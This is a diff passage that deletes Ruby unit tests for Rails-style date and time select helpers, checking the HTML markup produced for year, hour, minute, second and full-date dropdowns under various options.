-  def test_select_year_descending
-    expected = %(<select id="date_year" name="date[year]">\n)
-    expected << %(<option value="2005" selected="selected">2005</option>\n<option value="2004">2004</option>\n<option value="2003">2003</option>\n)
-    expected << "</select>\n"
-
-    assert_dom_equal expected, select_year(Time.mktime(2005, 8, 16), :start_year => 2005, :end_year => 2003)
-    assert_dom_equal expected, select_year(2005, :start_year => 2005, :end_year => 2003)
-  end
-
-  def test_select_year_with_hidden
-    assert_dom_equal "<input type=\"hidden\" id=\"date_year\" name=\"date[year]\" value=\"2007\" />\n", select_year(2007, :use_hidden => true)
-  end
-
-  def test_select_year_with_hidden_and_field_name
-    assert_dom_equal "<input type=\"hidden\" id=\"date_anno\" name=\"date[anno]\" value=\"2007\" />\n", select_year(2007, :use_hidden => true, :field_name => 'anno')
-  end
-
-  def test_select_year_with_html_options
-    expected = %(<select id="date_year" name="date[year]" class="selector" accesskey="M">\n)
-    expected << %(<option value="2003" selected="selected">2003</option>\n<option value="2004">2004</option>\n<option value="2005">2005</option>\n)
-    expected << "</select>\n"
-
-    assert_dom_equal expected, select_year(Time.mktime(2003, 8, 16), {:start_year => 2003, :end_year => 2005}, :class => 'selector', :accesskey => 'M')
-    #result = select_year(Time.mktime(2003, 8, 16), {:start_year => 2003, :end_year => 2005}, :class => 'selector', :accesskey => 'M')
-    #assert result.include?('<select id="date_year" name="date[year]"')
-    #assert result.include?('class="selector"')
-    #assert result.include?('accesskey="M"')
-    #assert result.include?('<option value="2003"')
-  end
-
-  def test_select_year_with_default_prompt
-    expected = %(<select id="date_year" name="date[year]">\n)
-    expected << %(<option value="">Year</option>\n<option value="2003">2003</option>\n<option value="2004">2004</option>\n<option value="2005">2005</option>\n)
-    expected << "</select>\n"
-
-    assert_dom_equal expected, select_year(nil, :start_year => 2003, :end_year => 2005, :prompt => true)
-  end
-
-  def test_select_year_with_custom_prompt
-    expected = %(<select id="date_year" name="date[year]">\n)
-    expected << %(<option value="">Choose year</option>\n<option value="2003">2003</option>\n<option value="2004">2004</option>\n<option value="2005">2005</option>\n)
-    expected << "</select>\n"
-
-    assert_dom_equal expected, select_year(nil, :start_year => 2003, :end_year => 2005, :prompt => 'Choose year')
-  end
-
-  def test_select_hour
-    expected = %(<select id="date_hour" name="date[hour]">\n)
-    expected << %(<option value="00">00</option>\n<option value="01">01</option>\n<option value="02">02</option>\n<option value="03">03</option>\n<option value="04">04</option>\n<option value="05">05</option>\n<option value="06">06</option>\n<option value="07">07</option>\n<option value="08" selected="selected">08</option>\n<option value="09">09</option>\n<option value="10">10</option>\n<option value="11">11</option>\n<option value="12">12</option>\n<option value="13">13</option>\n<optio [...]
-    expected << "</select>\n"
-
-    assert_dom_equal expected, select_hour(Time.mktime(2003, 8, 16, 8, 4, 18))
-  end
-
-  def test_select_hour_with_ampm
-    expected = %(<select id="date_hour" name="date[hour]">\n)
-    expected << %(<option value="00">12 AM</option>\n<option value="01">01 AM</option>\n<option value="02">02 AM</option>\n<option value="03">03 AM</option>\n<option value="04">04 AM</option>\n<option value="05">05 AM</option>\n<option value="06">06 AM</option>\n<option value="07">07 AM</option>\n<option value="08" selected="selected">08 AM</option>\n<option value="09">09 AM</option>\n<option value="10">10 AM</option>\n<option value="11">11 AM</option>\n<option value="12">12 PM</option>\ [...]
-    expected << "</select>\n"
-
-    assert_dom_equal expected, select_hour(Time.mktime(2003, 8, 16, 8, 4, 18), :ampm => true)
-  end
-
-  def test_select_hour_with_disabled
-    expected = %(<select id="date_hour" name="date[hour]" disabled="disabled">\n)
-    expected << %(<option value="00">00</option>\n<option value="01">01</option>\n<option value="02">02</option>\n<option value="03">03</option>\n<option value="04">04</option>\n<option value="05">05</option>\n<option value="06">06</option>\n<option value="07">07</option>\n<option value="08" selected="selected">08</option>\n<option value="09">09</option>\n<option value="10">10</option>\n<option value="11">11</option>\n<option value="12">12</option>\n<option value="13">13</option>\n<optio [...]
-    expected << "</select>\n"
-
-    assert_dom_equal expected, select_hour(Time.mktime(2003, 8, 16, 8, 4, 18), :disabled => true)
-  end
-
-  def test_select_hour_with_field_name_override
-    expected = %(<select id="date_heure" name="date[heure]">\n)
-    expected << %(<option value="00">00</option>\n<option value="01">01</option>\n<option value="02">02</option>\n<option value="03">03</option>\n<option value="04">04</option>\n<option value="05">05</option>\n<option value="06">06</option>\n<option value="07">07</option>\n<option value="08" selected="selected">08</option>\n<option value="09">09</option>\n<option value="10">10</option>\n<option value="11">11</option>\n<option value="12">12</option>\n<option value="13">13</option>\n<optio [...]
-    expected << "</select>\n"
-
-    assert_dom_equal expected, select_hour(Time.mktime(2003, 8, 16, 8, 4, 18), :field_name => 'heure')
-  end
-
-  def test_select_hour_with_blank
-    expected = %(<select id="date_hour" name="date[hour]">\n)
-    expected << %(<option value=""></option>\n<option value="00">00</option>\n<option value="01">01</option>\n<option value="02">02</option>\n<option value="03">03</option>\n<option value="04">04</option>\n<option value="05">05</option>\n<option value="06">06</option>\n<option value="07">07</option>\n<option value="08" selected="selected">08</option>\n<option value="09">09</option>\n<option value="10">10</option>\n<option value="11">11</option>\n<option value="12">12</option>\n<option va [...]
-    expected << "</select>\n"
-
-    assert_dom_equal expected, select_hour(Time.mktime(2003, 8, 16, 8, 4, 18), :include_blank => true)
-  end
-
-  def test_select_hour_nil_with_blank
-    expected = %(<select id="date_hour" name="date[hour]">\n)
-    expected << %(<option value=""></option>\n<option value="00">00</option>\n<option value="01">01</option>\n<option value="02">02</option>\n<option value="03">03</option>\n<option value="04">04</option>\n<option value="05">05</option>\n<option value="06">06</option>\n<option value="07">07</option>\n<option value="08">08</option>\n<option value="09">09</option>\n<option value="10">10</option>\n<option value="11">11</option>\n<option value="12">12</option>\n<option value="13">13</option> [...]
-    expected << "</select>\n"
-
-    assert_dom_equal expected, select_hour(nil, :include_blank => true)
-  end
-
-  def test_select_hour_with_html_options
-    expected = %(<select id="date_hour" name="date[hour]" class="selector" accesskey="M">\n)
-    expected << %(<option value="00">00</option>\n<option value="01">01</option>\n<option value="02">02</option>\n<option value="03">03</option>\n<option value="04">04</option>\n<option value="05">05</option>\n<option value="06">06</option>\n<option value="07">07</option>\n<option value="08" selected="selected">08</option>\n<option value="09">09</option>\n<option value="10">10</option>\n<option value="11">11</option>\n<option value="12">12</option>\n<option value="13">13</option>\n<optio [...]
-    expected << "</select>\n"
-
-    assert_dom_equal expected, select_hour(Time.mktime(2003, 8, 16, 8, 4, 18), {}, :class => 'selector', :accesskey => 'M')
-  end
-
-  def test_select_hour_with_default_prompt
-    expected = %(<select id="date_hour" name="date[hour]">\n)
-    expected << %(<option value="">Hour</option>\n<option value="00">00</option>\n<option value="01">01</option>\n<option value="02">02</option>\n<option value="03">03</option>\n<option value="04">04</option>\n<option value="05">05</option>\n<option value="06">06</option>\n<option value="07">07</option>\n<option value="08" selected="selected">08</option>\n<option value="09">09</option>\n<option value="10">10</option>\n<option value="11">11</option>\n<option value="12">12</option>\n<optio [...]
-    expected << "</select>\n"
-
-    assert_dom_equal expected, select_hour(Time.mktime(2003, 8, 16, 8, 4, 18), :prompt => true)
-  end
-
-  def test_select_hour_with_custom_prompt
-    expected = %(<select id="date_hour" name="date[hour]">\n)
-    expected << %(<option value="">Choose hour</option>\n<option value="00">00</option>\n<option value="01">01</option>\n<option value="02">02</option>\n<option value="03">03</option>\n<option value="04">04</option>\n<option value="05">05</option>\n<option value="06">06</option>\n<option value="07">07</option>\n<option value="08" selected="selected">08</option>\n<option value="09">09</option>\n<option value="10">10</option>\n<option value="11">11</option>\n<option value="12">12</option>\ [...]
-    expected << "</select>\n"
-
-    assert_dom_equal expected, select_hour(Time.mktime(2003, 8, 16, 8, 4, 18), :prompt => 'Choose hour')
-  end
-
-  def test_select_minute
-    expected = %(<select id="date_minute" name="date[minute]">\n)
-    expected << %(<option value="00">00</option>\n<option value="01">01</option>\n<option value="02">02</option>\n<option value="03">03</option>\n<option value="04" selected="selected">04</option>\n<option value="05">05</option>\n<option value="06">06</option>\n<option value="07">07</option>\n<option value="08">08</option>\n<option value="09">09</option>\n<option value="10">10</option>\n<option value="11">11</option>\n<option value="12">12</option>\n<option value="13">13</option>\n<optio [...]
-    expected << "</select>\n"
-
-    assert_dom_equal expected, select_minute(Time.mktime(2003, 8, 16, 8, 4, 18))
-  end
-
-  def test_select_minute_with_disabled
-    expected = %(<select id="date_minute" name="date[minute]" disabled="disabled">\n)
-    expected << %(<option value="00">00</option>\n<option value="01">01</option>\n<option value="02">02</option>\n<option value="03">03</option>\n<option value="04" selected="selected">04</option>\n<option value="05">05</option>\n<option value="06">06</option>\n<option value="07">07</option>\n<option value="08">08</option>\n<option value="09">09</option>\n<option value="10">10</option>\n<option value="11">11</option>\n<option value="12">12</option>\n<option value="13">13</option>\n<optio [...]
-    expected << "</select>\n"
-
-    assert_dom_equal expected, select_minute(Time.mktime(2003, 8, 16, 8, 4, 18), :disabled => true)
-  end
-
-  def test_select_minute_with_field_name_override
-    expected = %(<select id="date_minuto" name="date[minuto]">\n)
-    expected << %(<option value="00">00</option>\n<option value="01">01</option>\n<option value="02">02</option>\n<option value="03">03</option>\n<option value="04" selected="selected">04</option>\n<option value="05">05</option>\n<option value="06">06</option>\n<option value="07">07</option>\n<option value="08">08</option>\n<option value="09">09</option>\n<option value="10">10</option>\n<option value="11">11</option>\n<option value="12">12</option>\n<option value="13">13</option>\n<optio [...]
-    expected << "</select>\n"
-
-    assert_dom_equal expected, select_minute(Time.mktime(2003, 8, 16, 8, 4, 18), :field_name => 'minuto')
-  end
-
-  def test_select_minute_with_blank
-    expected = %(<select id="date_minute" name="date[minute]">\n)
-    expected << %(<option value=""></option>\n<option value="00">00</option>\n<option value="01">01</option>\n<option value="02">02</option>\n<option value="03">03</option>\n<option value="04" selected="selected">04</option>\n<option value="05">05</option>\n<option value="06">06</option>\n<option value="07">07</option>\n<option value="08">08</option>\n<option value="09">09</option>\n<option value="10">10</option>\n<option value="11">11</option>\n<option value="12">12</option>\n<option va [...]
-    expected << "</select>\n"
-
-    assert_dom_equal expected, select_minute(Time.mktime(2003, 8, 16, 8, 4, 18), :include_blank => true)
-  end
-
-  def test_select_minute_with_blank_and_step
-    expected = %(<select id="date_minute" name="date[minute]">\n)
-    expected << %(<option value=""></option>\n<option value="00">00</option>\n<option value="15">15</option>\n<option value="30">30</option>\n<option value="45">45</option>\n)
-    expected << "</select>\n"
-
-    assert_dom_equal expected, select_minute(Time.mktime(2003, 8, 16, 8, 4, 18), { :include_blank => true , :minute_step => 15 })
-  end
-
-  def test_select_minute_nil_with_blank
-    expected = %(<select id="date_minute" name="date[minute]">\n)
-    expected << %(<option value=""></option>\n<option value="00">00</option>\n<option value="01">01</option>\n<option value="02">02</option>\n<option value="03">03</option>\n<option value="04">04</option>\n<option value="05">05</option>\n<option value="06">06</option>\n<option value="07">07</option>\n<option value="08">08</option>\n<option value="09">09</option>\n<option value="10">10</option>\n<option value="11">11</option>\n<option value="12">12</option>\n<option value="13">13</option> [...]
-    expected << "</select>\n"
-
-    assert_dom_equal expected, select_minute(nil, :include_blank => true)
-  end
-
-  def test_select_minute_nil_with_blank_and_step
-    expected = %(<select id="date_minute" name="date[minute]">\n)
-    expected << %(<option value=""></option>\n<option value="00">00</option>\n<option value="15">15</option>\n<option value="30">30</option>\n<option value="45">45</option>\n)
-    expected << "</select>\n"
-
-    assert_dom_equal expected, select_minute(nil, { :include_blank => true , :minute_step => 15 })
-  end
-
-  def test_select_minute_with_hidden
-    assert_dom_equal "<input type=\"hidden\" id=\"date_minute\" name=\"date[minute]\" value=\"8\" />\n", select_minute(8, :use_hidden => true)
-  end
-
-  def test_select_minute_with_hidden_and_field_name
-    assert_dom_equal "<input type=\"hidden\" id=\"date_minuto\" name=\"date[minuto]\" value=\"8\" />\n", select_minute(8, :use_hidden => true, :field_name => 'minuto')
-  end
-
-  def test_select_minute_with_html_options
-    expected = %(<select id="date_minute" name="date[minute]" class="selector" accesskey="M">\n)
-    expected << %(<option value="00">00</option>\n<option value="01">01</option>\n<option value="02">02</option>\n<option value="03">03</option>\n<option value="04" selected="selected">04</option>\n<option value="05">05</option>\n<option value="06">06</option>\n<option value="07">07</option>\n<option value="08">08</option>\n<option value="09">09</option>\n<option value="10">10</option>\n<option value="11">11</option>\n<option value="12">12</option>\n<option value="13">13</option>\n<optio [...]
-    expected << "</select>\n"
-
-    assert_dom_equal expected, select_minute(Time.mktime(2003, 8, 16, 8, 4, 18), {}, :class => 'selector', :accesskey => 'M')
-
-    #result = select_minute(Time.mktime(2003, 8, 16, 8, 4, 18), {}, :class => 'selector', :accesskey => 'M')
-    #assert result.include?('<select id="date_minute" name="date[minute]"')
-    #assert result.include?('class="selector"')
-    #assert result.include?('accesskey="M"')
-    #assert result.include?('<option value="00">00')
-  end
-
-  def test_select_minute_with_default_prompt
-    expected = %(<select id="date_minute" name="date[minute]">\n)
-    expected << %(<option value="">Minute</option>\n<option value="00">00</option>\n<option value="01">01</option>\n<option value="02">02</option>\n<option value="03">03</option>\n<option value="04" selected="selected">04</option>\n<option value="05">05</option>\n<option value="06">06</option>\n<option value="07">07</option>\n<option value="08">08</option>\n<option value="09">09</option>\n<option value="10">10</option>\n<option value="11">11</option>\n<option value="12">12</option>\n<opt [...]
-    expected << "</select>\n"
-
-    assert_dom_equal expected, select_minute(Time.mktime(2003, 8, 16, 8, 4, 18), :prompt => true)
-  end
-
-  def test_select_minute_with_custom_prompt
-    expected = %(<select id="date_minute" name="date[minute]">\n)
-    expected << %(<option value="">Choose minute</option>\n<option value="00">00</option>\n<option value="01">01</option>\n<option value="02">02</option>\n<option value="03">03</option>\n<option value="04" selected="selected">04</option>\n<option value="05">05</option>\n<option value="06">06</option>\n<option value="07">07</option>\n<option value="08">08</option>\n<option value="09">09</option>\n<option value="10">10</option>\n<option value="11">11</option>\n<option value="12">12</option [...]
-    expected << "</select>\n"
-
-    assert_dom_equal expected, select_minute(Time.mktime(2003, 8, 16, 8, 4, 18), :prompt => 'Choose minute')
-  end
-
-  def test_select_second
-    expected = %(<select id="date_second" name="date[second]">\n)
-    expected << %(<option value="00">00</option>\n<option value="01">01</option>\n<option value="02">02</option>\n<option value="03">03</option>\n<option value="04">04</option>\n<option value="05">05</option>\n<option value="06">06</option>\n<option value="07">07</option>\n<option value="08">08</option>\n<option value="09">09</option>\n<option value="10">10</option>\n<option value="11">11</option>\n<option value="12">12</option>\n<option value="13">13</option>\n<option value="14">14</opt [...]
-    expected << "</select>\n"
-
-    assert_dom_equal expected, select_second(Time.mktime(2003, 8, 16, 8, 4, 18))
-  end
-
-  def test_select_second_with_disabled
-    expected = %(<select id="date_second" name="date[second]" disabled="disabled">\n)
-    expected << %(<option value="00">00</option>\n<option value="01">01</option>\n<option value="02">02</option>\n<option value="03">03</option>\n<option value="04">04</option>\n<option value="05">05</option>\n<option value="06">06</option>\n<option value="07">07</option>\n<option value="08">08</option>\n<option value="09">09</option>\n<option value="10">10</option>\n<option value="11">11</option>\n<option value="12">12</option>\n<option value="13">13</option>\n<option value="14">14</opt [...]
-    expected << "</select>\n"
-
-    assert_dom_equal expected, select_second(Time.mktime(2003, 8, 16, 8, 4, 18), :disabled => true)
-  end
-
-  def test_select_second_with_field_name_override
-    expected = %(<select id="date_segundo" name="date[segundo]">\n)
-    expected << %(<option value="00">00</option>\n<option value="01">01</option>\n<option value="02">02</option>\n<option value="03">03</option>\n<option value="04">04</option>\n<option value="05">05</option>\n<option value="06">06</option>\n<option value="07">07</option>\n<option value="08">08</option>\n<option value="09">09</option>\n<option value="10">10</option>\n<option value="11">11</option>\n<option value="12">12</option>\n<option value="13">13</option>\n<option value="14">14</opt [...]
-    expected << "</select>\n"
-
-    assert_dom_equal expected, select_second(Time.mktime(2003, 8, 16, 8, 4, 18), :field_name => 'segundo')
-  end
-
-  def test_select_second_with_blank
-    expected = %(<select id="date_second" name="date[second]">\n)
-    expected << %(<option value=""></option>\n<option value="00">00</option>\n<option value="01">01</option>\n<option value="02">02</option>\n<option value="03">03</option>\n<option value="04">04</option>\n<option value="05">05</option>\n<option value="06">06</option>\n<option value="07">07</option>\n<option value="08">08</option>\n<option value="09">09</option>\n<option value="10">10</option>\n<option value="11">11</option>\n<option value="12">12</option>\n<option value="13">13</option> [...]
-    expected << "</select>\n"
-
-    assert_dom_equal expected, select_second(Time.mktime(2003, 8, 16, 8, 4, 18), :include_blank => true)
-  end
-
-  def test_select_second_nil_with_blank
-    expected = %(<select id="date_second" name="date[second]">\n)
-    expected << %(<option value=""></option>\n<option value="00">00</option>\n<option value="01">01</option>\n<option value="02">02</option>\n<option value="03">03</option>\n<option value="04">04</option>\n<option value="05">05</option>\n<option value="06">06</option>\n<option value="07">07</option>\n<option value="08">08</option>\n<option value="09">09</option>\n<option value="10">10</option>\n<option value="11">11</option>\n<option value="12">12</option>\n<option value="13">13</option> [...]
-    expected << "</select>\n"
-
-    assert_dom_equal expected, select_second(nil, :include_blank => true)
-  end
-
-  def test_select_second_with_html_options
-    expected = %(<select id="date_second" name="date[second]" class="selector" accesskey="M">\n)
-    expected << %(<option value="00">00</option>\n<option value="01">01</option>\n<option value="02">02</option>\n<option value="03">03</option>\n<option value="04">04</option>\n<option value="05">05</option>\n<option value="06">06</option>\n<option value="07">07</option>\n<option value="08">08</option>\n<option value="09">09</option>\n<option value="10">10</option>\n<option value="11">11</option>\n<option value="12">12</option>\n<option value="13">13</option>\n<option value="14">14</opt [...]
-    expected << "</select>\n"
-
-    assert_dom_equal expected, select_second(Time.mktime(2003, 8, 16, 8, 4, 18), {}, :class => 'selector', :accesskey => 'M')
-
-    #result = select_second(Time.mktime(2003, 8, 16, 8, 4, 18), {}, :class => 'selector', :accesskey => 'M')
-    #assert result.include?('<select id="date_second" name="date[second]"')
-    #assert result.include?('class="selector"')
-    #assert result.include?('accesskey="M"')
-    #assert result.include?('<option value="00">00')
-  end
-
-  def test_select_second_with_default_prompt
-    expected = %(<select id="date_second" name="date[second]">\n)
-    expected << %(<option value="">Seconds</option>\n<option value="00">00</option>\n<option value="01">01</option>\n<option value="02">02</option>\n<option value="03">03</option>\n<option value="04">04</option>\n<option value="05">05</option>\n<option value="06">06</option>\n<option value="07">07</option>\n<option value="08">08</option>\n<option value="09">09</option>\n<option value="10">10</option>\n<option value="11">11</option>\n<option value="12">12</option>\n<option value="13">13</ [...]
-    expected << "</select>\n"
-
-    assert_dom_equal expected, select_second(Time.mktime(2003, 8, 16, 8, 4, 18), :prompt => true)
-  end
-
-  def test_select_second_with_custom_prompt
-    expected = %(<select id="date_second" name="date[second]">\n)
-    expected << %(<option value="">Choose seconds</option>\n<option value="00">00</option>\n<option value="01">01</option>\n<option value="02">02</option>\n<option value="03">03</option>\n<option value="04">04</option>\n<option value="05">05</option>\n<option value="06">06</option>\n<option value="07">07</option>\n<option value="08">08</option>\n<option value="09">09</option>\n<option value="10">10</option>\n<option value="11">11</option>\n<option value="12">12</option>\n<option value="1 [...]
-    expected << "</select>\n"
-
-    assert_dom_equal expected, select_second(Time.mktime(2003, 8, 16, 8, 4, 18), :prompt => 'Choose seconds')
-  end
-
-  def test_select_date
-    expected =  %(<select id="date_first_year" name="date[first][year]">\n)
-    expected << %(<option value="2003" selected="selected">2003</option>\n<option value="2004">2004</option>\n<option value="2005">2005</option>\n)
-    expected << "</select>\n"
-
-    expected << %(<select id="date_first_month" name="date[first][month]">\n)
-    expected << %(<option value="1">January</option>\n<option value="2">February</option>\n<option value="3">March</option>\n<option value="4">April</option>\n<option value="5">May</option>\n<option value="6">June</option>\n<option value="7">July</option>\n<option value="8" selected="selected">August</option>\n<option value="9">September</option>\n<option value="10">October</option>\n<option value="11">November</option>\n<option value="12">December</option>\n)
-    expected << "</select>\n"
-
-    expected << %(<select id="date_first_day" name="date[first][day]">\n)
-    expected << %(<option value="1">1</option>\n<option value="2">2</option>\n<option value="3">3</option>\n<option value="4">4</option>\n<option value="5">5</option>\n<option value="6">6</option>\n<option value="7">7</option>\n<option value="8">8</option>\n<option value="9">9</option>\n<option value="10">10</option>\n<option value="11">11</option>\n<option value="12">12</option>\n<option value="13">13</option>\n<option value="14">14</option>\n<option value="15">15</option>\n<option valu [...]
-    expected << "</select>\n"
-
-    assert_dom_equal expected, select_date(Time.mktime(2003, 8, 16), :start_year => 2003, :end_year => 2005, :prefix => "date[first]")
-  end
-
-  def test_select_date_with_too_big_range_between_start_year_and_end_year
-    assert_raise(ArgumentError) { select_date(Time.mktime(2003, 8, 16), :start_year => 2000, :end_year => 20000, :prefix => "date[first]", :order => [:month, :day, :year]) }
-    assert_raise(ArgumentError) { select_date(Time.mktime(2003, 8, 16), :start_year => Date.today.year - 100.years, :end_year => 2000, :prefix => "date[first]", :order => [:month, :day, :year]) }
-  end
-
-  def test_select_date_can_have_more_then_1000_years_interval_if_forced_via_parameter
-    assert_nothing_raised { select_date(Time.mktime(2003, 8, 16), :start_year => 2000, :end_year => 3100, :max_years_allowed => 2000) }
-  end
-
-  def test_select_date_with_order
-    expected = %(<select id="date_first_month" name="date[first][month]">\n)
-    expected << %(<option value="1">January</option>\n<option value="2">February</option>\n<option value="3">March</option>\n<option value="4">April</option>\n<option value="5">May</option>\n<option value="6">June</option>\n<option value="7">July</option>\n<option value="8" selected="selected">August</option>\n<option value="9">September</option>\n<option value="10">October</option>\n<option value="11">November</option>\n<option value="12">December</option>\n)
-    expected << "</select>\n"
-
-    expected << %(<select id="date_first_day" name="date[first][day]">\n)
-    expected << %(<option value="1">1</option>\n<option value="2">2</option>\n<option value="3">3</option>\n<option value="4">4</option>\n<option value="5">5</option>\n<option value="6">6</option>\n<option value="7">7</option>\n<option value="8">8</option>\n<option value="9">9</option>\n<option value="10">10</option>\n<option value="11">11</option>\n<option value="12">12</option>\n<option value="13">13</option>\n<option value="14">14</option>\n<option value="15">15</option>\n<option valu [...]
-    expected << "</select>\n"
-
-    expected <<  %(<select id="date_first_year" name="date[first][year]">\n)
-    expected << %(<option value="2003" selected="selected">2003</option>\n<option value="2004">2004</option>\n<option value="2005">2005</option>\n)
-    expected << "</select>\n"
-
-    assert_dom_equal expected, select_date(Time.mktime(2003, 8, 16), :start_year => 2003, :end_year => 2005, :prefix => "date[first]", :order => [:month, :day, :year])
-  end
-
-  def test_select_date_with_incomplete_order
-    # Since the order is incomplete nothing will be shown
-    expected = %(<input id="date_first_year" name="date[first][year]" type="hidden" value="2003" />\n)
-    expected << %(<input id="date_first_month" name="date[first][month]" type="hidden" value="8" />\n)
-    expected << %(<input id="date_first_day" name="date[first][day]" type="hidden" value="1" />\n)
-
-    assert_dom_equal expected, select_date(Time.mktime(2003, 8, 16), :start_year => 2003, :end_year => 2005, :prefix => "date[first]", :order => [:day])
-  end
-
-  def test_select_date_with_disabled
-    expected =  %(<select id="date_first_year" name="date[first][year]" disabled="disabled">\n)
-    expected << %(<option value="2003" selected="selected">2003</option>\n<option value="2004">2004</option>\n<option value="2005">2005</option>\n)
-    expected << "</select>\n"
-
-    expected << %(<select id="date_first_month" name="date[first][month]" disabled="disabled">\n)
-    expected << %(<option value="1">January</option>\n<option value="2">February</option>\n<option value="3">March</option>\n<option value="4">April</option>\n<option value="5">May</option>\n<option value="6">June</option>\n<option value="7">July</option>\n<option value="8" selected="selected">August</option>\n<option value="9">September</option>\n<option value="10">October</option>\n<option value="11">November</option>\n<option value="12">December</option>\n)
-    expected << "</select>\n"
-
-    expected << %(<select id="date_first_day" name="date[first][day]" disabled="disabled">\n)
-    expected << %(<option value="1">1</option>\n<option value="2">2</option>\n<option value="3">3</option>\n<option value="4">4</option>\n<option value="5">5</option>\n<option value="6">6</option>\n<option value="7">7</option>\n<option value="8">8</option>\n<option value="9">9</option>\n<option value="10">10</option>\n<option value="11">11</option>\n<option value="12">12</option>\n<option value="13">13</option>\n<option value="14">14</option>\n<option value="15">15</option>\n<option valu [...]
-    expected << "</select>\n"
-
-    assert_dom_equal expected, select_date(Time.mktime(2003, 8, 16), :start_year => 2003, :end_year => 2005, :prefix => "date[first]", :disabled => true)
-  end
-
-  def test_select_date_with_no_start_year
-    expected =  %(<select id="date_first_year" name="date[first][year]">\n)
-    (Date.today.year-5).upto(Date.today.year+1) do |y|
-      if y == Date.today.year
-        expected << %(<option value="#{y}" selected="selected">#{y}</option>\n)
-      else
-        expected << %(<option value="#{y}">#{y}</option>\n)
-      end
-    end
-    expected << "</select>\n"
-
-    expected << %(<select id="date_first_month" name="date[first][month]">\n)
-    expected << %(<option value="1">January</option>\n<option value="2">February</option>\n<option value="3">March</option>\n<option value="4">April</option>\n<option value="5">May</option>\n<option value="6">June</option>\n<option value="7">July</option>\n<option value="8" selected="selected">August</option>\n<option value="9">September</option>\n<option value="10">October</option>\n<option value="11">November</option>\n<option value="12">December</option>\n)
-    expected << "</select>\n"
-
-    expected << %(<select id="date_first_day" name="date[first][day]">\n)
-    expected << %(<option value="1">1</option>\n<option value="2">2</option>\n<option value="3">3</option>\n<option value="4">4</option>\n<option value="5">5</option>\n<option value="6">6</option>\n<option value="7">7</option>\n<option value="8">8</option>\n<option value="9">9</option>\n<option value="10">10</option>\n<option value="11">11</option>\n<option value="12">12</option>\n<option value="13">13</option>\n<option value="14">14</option>\n<option value="15">15</option>\n<option valu [...]
-    expected << "</select>\n"
-
-    assert_dom_equal expected, select_date(
-      Time.mktime(Date.today.year, 8, 16), :end_year => Date.today.year+1, :prefix => "date[first]"
-    )
-  end
-
-  def test_select_date_with_no_end_year
-    expected =  %(<select id="date_first_year" name="date[first][year]">\n)
-    2003.upto(2008) do |y|
-      if y == 2003
-        expected << %(<option value="#{y}" selected="selected">#{y}</option>\n)
-      else
-        expected << %(<option value="#{y}">#{y}</option>\n)
-      end
-    end
-    expected << "</select>\n"
-
-    expected << %(<select id="date_first_month" name="date[first][month]">\n)
-    expected << %(<option value="1">January</option>\n<option value="2">February</option>\n<option value="3">March</option>\n<option value="4">April</option>\n<option value="5">May</option>\n<option value="6">June</option>\n<option value="7">July</option>\n<option value="8" selected="selected">August</option>\n<option value="9">September</option>\n<option value="10">October</option>\n<option value="11">November</option>\n<option value="12">December</option>\n)
-    expected << "</select>\n"
-
-    expected << %(<select id="date_first_day" name="date[first][day]">\n)
-    expected << %(<option value="1">1</option>\n<option value="2">2</option>\n<option value="3">3</option>\n<option value="4">4</option>\n<option value="5">5</option>\n<option value="6">6</option>\n<option value="7">7</option>\n<option value="8">8</option>\n<option value="9">9</option>\n<option value="10">10</option>\n<option value="11">11</option>\n<option value="12">12</option>\n<option value="13">13</option>\n<option value="14">14</option>\n<option value="15">15</option>\n<option valu [...]
-    expected << "</select>\n"
-
-    assert_dom_equal expected, select_date(
-      Time.mktime(2003, 8, 16), :start_year => 2003, :prefix => "date[first]"
-    )
-  end
-
-  def test_select_date_with_no_start_or_end_year
-    expected =  %(<select id="date_first_year" name="date[first][year]">\n)
-    (Date.today.year-5).upto(Date.today.year+5) do |y|
-      if y == Date.today.year
-        expected << %(<option value="#{y}" selected="selected">#{y}</option>\n)
-      else
-        expected << %(<option value="#{y}">#{y}</option>\n)
-      end
-    end
-    expected << "</select>\n"
-
-    expected << %(<select id="date_first_month" name="date[first][month]">\n)
-    expected << %(<option value="1">January</option>\n<option value="2">February</option>\n<option value="3">March</option>\n<option value="4">April</option>\n<option value="5">May</option>\n<option value="6">June</option>\n<option value="7">July</option>\n<option value="8" selected="selected">August</option>\n<option value="9">September</option>\n<option value="10">October</option>\n<option value="11">November</option>\n<option value="12">December</option>\n)
-    expected << "</select>\n"
-
-    expected << %(<select id="date_first_day" name="date[first][day]">\n)
-    expected << %(<option value="1">1</option>\n<option value="2">2</option>\n<option value="3">3</option>\n<option value="4">4</option>\n<option value="5">5</option>\n<option value="6">6</option>\n<option value="7">7</option>\n<option value="8">8</option>\n<option value="9">9</option>\n<option value="10">10</option>\n<option value="11">11</option>\n<option value="12">12</option>\n<option value="13">13</option>\n<option value="14">14</option>\n<option value="15">15</option>\n<option valu [...]
-    expected << "</select>\n"
-
-    assert_dom_equal expected, select_date(
-      Time.mktime(Date.today.year, 8, 16), :prefix => "date[first]"
-    )
-  end
-
-  def test_select_date_with_zero_value
-    expected =  %(<select id="date_first_year" name="date[first][year]">\n)
-    expected << %(<option value="2003">2003</option>\n<option value="2004">2004</option>\n<option value="2005">2005</option>\n)
-    expected << "</select>\n"
-
-    expected << %(<select id="date_first_month" name="date[first][month]">\n)
-    expected << %(<option value="1">January</option>\n<option value="2">February</option>\n<option value="3">March</option>\n<option value="4">April</option>\n<option value="5">May</option>\n<option value="6">June</option>\n<option value="7">July</option>\n<option value="8">August</option>\n<option value="9">September</option>\n<option value="10">October</option>\n<option value="11">November</option>\n<option value="12">December</option>\n)
-    expected << "</select>\n"
-
-    expected << %(<select id="date_first_day" name="date[first][day]">\n)
-    expected << %(<option value="1">1</option>\n<option value="2">2</option>\n<option value="3">3</option>\n<option value="4">4</option>\n<option value="5">5</option>\n<option value="6">6</option>\n<option value="7">7</option>\n<option value="8">8</option>\n<option value="9">9</option>\n<option value="10">10</option>\n<option value="11">11</option>\n<option value="12">12</option>\n<option value="13">13</option>\n<option value="14">14</option>\n<option value="15">15</option>\n<option valu [...]
-    expected << "</select>\n"
-
-    assert_dom_equal expected, select_date(0, :start_year => 2003, :end_year => 2005, :prefix => "date[first]")
-  end
-
-  def test_select_date_with_zero_value_and_no_start_year
-    expected =  %(<select id="date_first_year" name="date[first][year]">\n)
-    (Date.today.year-5).upto(Date.today.year+1) { |y| expected << %(<option value="#{y}">#{y}</option>\n) }
-    expected << "</select>\n"
-
-    expected << %(<select id="date_first_month" name="date[first][month]">\n)
